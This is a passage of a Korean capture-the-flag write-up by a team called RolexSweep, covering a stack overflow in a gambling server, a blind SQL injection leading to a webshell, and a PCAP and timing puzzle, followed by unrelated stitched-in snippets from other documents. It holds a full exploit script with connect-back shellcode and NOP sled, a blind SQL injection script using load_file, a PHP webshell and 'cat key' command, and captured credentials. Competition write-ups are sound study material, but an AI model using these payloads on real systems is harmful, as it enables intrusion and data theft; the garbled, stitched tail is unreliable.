33 int gamemoney; // [sp+280h] int v19; // [sp+284h] gamemoney = 10; v19 = 1000; memset(&s, 0, 2u); memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Hello HolJJak World!!\nGamblerName : ", 0x25u); v1 = strlen(&buffer); sock_send(client_fd, &buffer, v1); sock_recv(client_fd, (int)v12, 10, 10); while ( gamemoney <= 255 ) if ( gamemoney <= 0 ) break; sprintf(&buf, "YourGameMoney : %d!!\n", gamemoney); v2 = strlen(&buf); sock_send(client_fd, &buf, v2); v16 = sub_8048c20(client_fd); if ( v16!= 1 ) break; memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Batting(1-20) : ", 0x11u); v3 = strlen(&buffer); sock_send(client_fd, &buffer, v3); memset(&nptr, 0, 3u); sock_recv(client_fd, (int)&nptr, 3, 10); batting = atoi(&nptr); if ( gamemoney + batting >= 0 && gamemoney + batting <= 257 ) if ( batting <= 0 batting > 20 ) break; memset(&buffer, 0, 0x12Cu); memcpy(&buffer, "Choice(1. Hol, 2.JJak) : ", 0x1Au); len = strlen(&buffer); sock_send(client_fd, &buffer, len);

34 sock_recv(client_fd, (int)&s, 2, 10); v5 = rand(); v12[0] = ((v5 + ((unsigned int)v5 >> 31)) & 1) - ((unsigned int)v5 >> 31) + 49; if ( atoi(&s)!= 1 atoi(v12)!= 1 ) if ( atoi(&s) <= 1 atoi(v12) <= 1 ) sock_send(client_fd, "T_T BattingMoney Lose>\n", 23); gamemoney -= batting; else sock_send(client_fd, "Great!! Good Choice!!!!!\n", 25); gamemoney += batting; else sock_send(client_fd, "Great!! Good Choice!!!!!\n", 25); gamemoney += batting; if ( gamemoney <= 200 ) v9 = 0; else sock_send(client_fd, "Congratulation\nComment->", 24); sock_recv(client_fd, (int)&buffer, gamemoney, 10); v6 = strlen(&buffer); strncpy(&v15, &buffer, v6); sprintf(&buffer, "YourComment ->%s", &v15); v7 = strlen(&buffer); sock_send(client_fd, &buffer, v7);

35 v9 = client_fd; return v9; l l l l [ 그림 11-1] ELF Binary Source Code 배팅할금액을선택한후짝수, 홀수를맞추면금액만큼 Game Money 를받는 Game 입니다. Game Money가 255를넘어가게되면 Game Money만큼 256byte의배열에 strncpy 로입력받은값을복사하는데, Game Money는최대 257이될수있으므로 Stack 에저장되어있는 sfp를 1byte 조작할수있습니다. 감사하게도위함수에서상위함수로복귀하면 read(fd, buffer, size) 를수행하는데 ebp-0x10을 size 변수로사용합니다. ebp를조작할수있으므로 size에해당하는변수값또한 Stack에있는임의의값으로조작이가능하여 overflow를일으킬수있습니다. 마침 srand 함수가 client가접속하기전에호출되어있으므로짝 / 홀선정에사용되는 rand 값은접속할때마다고정적이어서 Game Money를 257로만들기는아주쉬워집니다. exploit.py #!/usr/bin/python from socket import * import time shellcode = "\x31\xc0\x68\x6b\x65\x79\x00\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\x c9\x66\xb9\x05\x0d\x51\x89\xe6\x81\xee\x05\x0d\x00\x00\x56\x53\xb0\x03\x50\xcd\x80\x89 \xc5\x31\xc0\xb0\x06\x53\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x8 9\xc2\x68\x72\x8d\x01\x58\x68\xaa\x02\x1f\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x 50\xcd\x80\x31\xc0\x55\x56\x52\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80" #HOST = " " HOST = " " PORT = BOOL = " " for cnt in range(0,0x100/2):

36 s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT )) s.recv(1024) s.send("pwn3r\n") for i in BOOL: s.recv(1024) s.send("1"+"\n") s.recv(1024) s.send("20"+"\n") s.recv(1024) s.send(i+"\n") s.recv(1024) s.send("1"+"\n") s.recv(1024) s.send("7"+"\n") s.recv(1024) s.send("1"+"\n") time.sleep(0.5) s.recv(1024) s.send("a"*256+chr(cnt*2)) s.send("a"*3+"\x10\xea\xbf\xbf"*0x40 + "\x90"*500 + shellcode+"\n") s.close() [ 그림 11-1] Exploit.py

37 14 번 문제 Page에접속하면 study 게시판과 QA 게시판을확인할수있고, QA 게시판에는 SQL Injection 취약점이존재합니다. l Blind SQL Injection을이용해공격하면시간은걸리지만 Table, Column, Priv 등의정보를획득할수있습니다. 계정의권한을확인해보면 file_priv Column이 Y 설정되어있어 load_file() 로특정 File들을읽어들일수있습니다. l File을읽기위해서는경로를알아야하는데문제의 URL 형식으로보아 /home/bback/public_html/89d9ca3b281d44a3dd32c7eac ca918b36/ qa_view.php 일것이라는것을유추할수있습니다. l 입력을할수없으므로 File 경로명을 hex 값으로변환하여 SQL Injection 을수행할수있습니다. php 파일중 download.php 파일에대해 load_file() 로읽어들여 Blind SQL Injection 을수 행하면아래와같은 Code 를뽑아낼수있고해당 Source 에는 File 이 Upload 되어있는경로 를확인할수있습니다. [ 그림 14-1] download.php Source code

38 그리고 study 게시물중 Webshell 관련 Page 에보면 Webshell File 이첨부되어있는데실제 다운받아확인해보면 <? system($_post[cmd])?> ( 명확치않음 ) 의실제 Webshell 임을 알수있습니다. download.php Source 에공개된경로를통해 Webshell cmd 변수에 POST 로 ls 명령을보 내보면아래와같이해당 Directory 의내의 File 목록이출력됩니다. l [ 그림 14-2] Webshell 실행결과 File 중 key 라는 File 이존재함을알수있으며, cat key 명령을전달하면 Key 값 이출력됩니다.. 아래는 14 번문제를풀기위해 python 으로작성한 Blind Injection 코드입니다. import urllib, urllib2 import threading, time def attack(count,num,bit): headers = get = body = # get['num'] = "-1 (select ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=database() limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(column_name,%d,1)) from information_schema.columns where table_name=0x7161 limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(column_name,%d,1)) from information_schema.columns where table_name=0x limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=0x6d c limit %d,1)&%d=%d" % (count,num,bit,bit)

39 # get['num'] = "-1 (select ascii(substr(file_priv,%d,1)) from mysql.user where user=0x b limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "-1 (select ascii(substr(schema_name,%d,1)) from information_schema.schemata limit %d,1)&%d=%d" % (count,num,bit,bit) # get['num'] = "- 1 ascii(substr(load_file(0x2f686f6d652f b2f c69635f68746d6c2f F D0A F696E E706870),%d,1))&%d=%d" % (count,bit,bit) # get['num'] = "- 1 ascii(substr(length(load_file(0x2f686f6d652f b2f c69635f68746d6c2f F D0A F C6C2E706870)),%d,1))&%d =%d" % (count,bit,bit) param = urllib.urlencode(get) body['cmd']="cat key" data = urllib.urlencode(body) headers['authorization']='basic YmJhY2s6dGxydGtzbXNna3R1VHRtcXNsUms=' headers['cookie']='phpsessid=k1qtirsu634jo7cnv44ab94fu1' # req = urllib2.request(' p?%s' % param, data, headers) req = urllib2.request(' BC1228C2585B3F5A368053C9FE8346A/shell.php', data, headers) response = urllib2.urlopen(req) the_page = response.read() return the_page result=str(attack(0,0,0)) print result """ end_count = 0 print "index.php : ",

40 for num in range(1): count = 1 str_s='' while 1 : end = 0 bit = 64 str_n = 0 while bit >= 1: result = attack(count,num,bit) if str(result).find('sdfg')!= -1: str_n +=bit end_count = 0 else: end +=1 if bit == 16 and end ==3: end = 7 break bit /=2 if end == 7: end_count +=1 break str_s +=chr(str_n) count +=1 print str_s, if end_count == 2: break count = 1 str_s='' for count in range(1,3295): end = 0 bit =

41 str_n = 0 while bit >= 1: result = attack(count,0,bit) if str(result).find('sdfg')!= -1: str_n +=bit end_count = 0 else: end +=1 if bit == 16 and end ==3: break bit /=2 print chr(str_n), """ [ 그림 14-3] Blind SQL Injection Python Exploit Code

42 15 번 PCAP File 5 개가주어지며, Evidence6 File 에서수상한부분을발견하였습니다. [ 그림 15-1] Evidence6 File 마침 * IP Address 가문제 Server 와동일하고 Packet 에문자열로추정되는값들이발견되어확인해보니 16 진수들이발견되었습니다. 436F6E6E E666F0D0A 49445F69735F696E74616E65740D0A 50575F69735F E676F E F706F72745F E746F5F F7273 [ 그림 15-2] 16 진수문자열 2 글자씩잘라서, ASCII 로변환하여보았습니다. Connect Info ID_is_intanet PW_is_savingouruniverse2012ssh_port_900 Read.to_visitors [ 그림 15-3] Decode to ASCII l 접속할 IP 는 이고 Port는 900번이아니고 9000번이열려있었습니다. Server에접속하니 Home Directory 에 GHOST 라는 root Setuid가걸려있는 Size 0인 File이있었고.to_visitors를읽어보니 time 과 5s 라는 Keyword가있었습니다. l 그리고 Server에는 f400d 라는 Binary가실행되고있었고, GHOST File은몇초마다생성되고다시삭제되었습니다

43 5 초마다 GHOST 라는 File 이생성되고사라지는것은 f400d Binary 에서무언가를비교해서 참이면생성거짓이면삭제하는것이라고유추할수있었습니다. 그래서, 5초마다 GHOST File의유무를 Check해서있으면 1 없으면 0을출력하게하는 Script를작성하고실행했습니다. #!/usr/bin/python import time, os t="" while 1: try: os.stat("ghost") break except: continue while 1: print t try: ok = os.stat("ghost") t+="1" time.sleep(5) except: t+="0" time.sleep(5) [ 그림 15-4] time 5s Script l 해당 Script를몇분간실행해서아주긴이진수값을구했습니다. 이진수값에반복되는 Pattern 이보였고 8 글자씩잘라서문자로변환해주는 Script 를작성해 서 Key 값을확인했습니다. #!/usr/bin/python evil = " "

44 for i in range(0,len(evil)): tmp = "" for j in range(0,(((len(evil)-i)/8)-1)): tmp += chr(int(evil[i+(j*8):i+(j*8+8)],2)) print tmp [ 그림 15-5] Split 8 Script

RolexSweep Team Team : RolexSweep (lokihardt, hellsonic, hkkiw0823, dakuo) 페이지 1 / 25

RolexSweep Team Team : RolexSweep (lokihardt, hellsonic, hkkiw0823, dakuo) 페이지 1 / 25 RolexSweep Team Team : RolexSweep (lokihardt, hellsonic, hkkiw0823, dakuo) korea.hellsonic@gmail.com 페이지 1 / 25 [Result] 페이지 2 / 25 [Contents] Prob 1 ELF 4p Prob 2 Steganography 5p Prob 3 Android 6p Prob

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾ P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt 변수와상수 1 변수란무엇인가? 변수 : 정보 (data) 를저장하는컴퓨터내의특정위치 ( 임시저장공간 ) 메모리, register 메모리주소 101 번지 102 번지 변수의크기에따라 주로 byte 단위 메모리 2 기본적인변수형및변수의크기 변수의크기 해당컴퓨터에서는항상일정 컴퓨터마다다를수있음 short

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Junior CTF Write-Up 서울대원고등학교 404error[ 현성원 ]

Junior CTF Write-Up 서울대원고등학교 404error[ 현성원 ] Junior CTF Write-Up 서울대원고등학교 404error[ 현성원 ] Result 대회종료후 1 ~ 10 위까지의 Score Board. Level0 문제 : 자, 이제부터해커테스트를시작하겠습니다! 본과정은실제작전인 " 본선 " 을위한사전테스트입니다. 따라서어느정도의실력만갖추고있다면크게어렵진않으실겁니다. 위메뉴들중 " 대회규칙 " 을꼼꼼히 읽어주시고,

More information

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Crash Unity SDK... Log & Crash Search. - Unity3D v4.0 ios

More information

Microsoft PowerPoint - 04-UDP Programming.ppt

Microsoft PowerPoint - 04-UDP Programming.ppt Chapter 4. UDP Dongwon Jeong djeong@kunsan.ac.kr http://ist.kunsan.ac.kr/ Dept. of Informatics & Statistics 목차 UDP 1 1 UDP 개념 자바 UDP 프로그램작성 클라이언트와서버모두 DatagramSocket 클래스로생성 상호간통신은 DatagramPacket 클래스를이용하여

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자 SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

EDB 분석보고서 (04.03) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

EDB 분석보고서 (04.03) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj EDB 분석보고서 (04.03) 04.03.0~04.03.3 Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. 분석내용정리 ( 작성 : 펜타시큐리티시스템보안성평가팀 ) 04년 03월에공개된 Exploit-DB의분석결과, 해커들이가장많이시도하는공격으로알려져있는 SQL Injection 공격에대한보고개수가가장많았습니다. 무엇보다주의가필요한부분은

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

PowerPoint Presentation

PowerPoint Presentation FORENSICINSIGHT SEMINAR SQLite Recovery zurum herosdfrc@google.co.kr Contents 1. SQLite! 2. SQLite 구조 3. 레코드의삭제 4. 삭제된영역추적 5. 레코드복원기법 forensicinsight.org Page 2 / 22 SQLite! - What is.. - and why? forensicinsight.org

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

PHP & ASP

PHP & ASP 단어장프로젝트 프로젝트2 단어장 select * from address where address like '% 경기도 %' td,li,input{font-size:9pt}

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using

More information

DocsPin_Korean.pages

DocsPin_Korean.pages Unity Localize Script Service, Page 1 Unity Localize Script Service Introduction Application Game. Unity. Google Drive Unity.. Application Game. -? ( ) -? -?.. 준비사항 Google Drive. Google Drive.,.. - Google

More information

SMB_ICMP_UDP(huichang).PDF

SMB_ICMP_UDP(huichang).PDF SMB(Server Message Block) UDP(User Datagram Protocol) ICMP(Internet Control Message Protocol) SMB (Server Message Block) SMB? : Microsoft IBM, Intel,. Unix NFS. SMB client/server. Client server request

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

초보자를 위한 C# 21일 완성

초보자를 위한 C# 21일 완성 C# 21., 21 C#., 2 ~ 3 21. 2 ~ 3 21.,. 1~ 2 (, ), C#.,,.,., 21..,.,,, 3. A..,,.,.. Q&A.. 24 C#,.NET.,.,.,. Visual C# Visual Studio.NET,..,. CD., www. TeachYour sel f CSharp. com., ( )., C#.. C# 1, 1. WEEK

More information

untitled

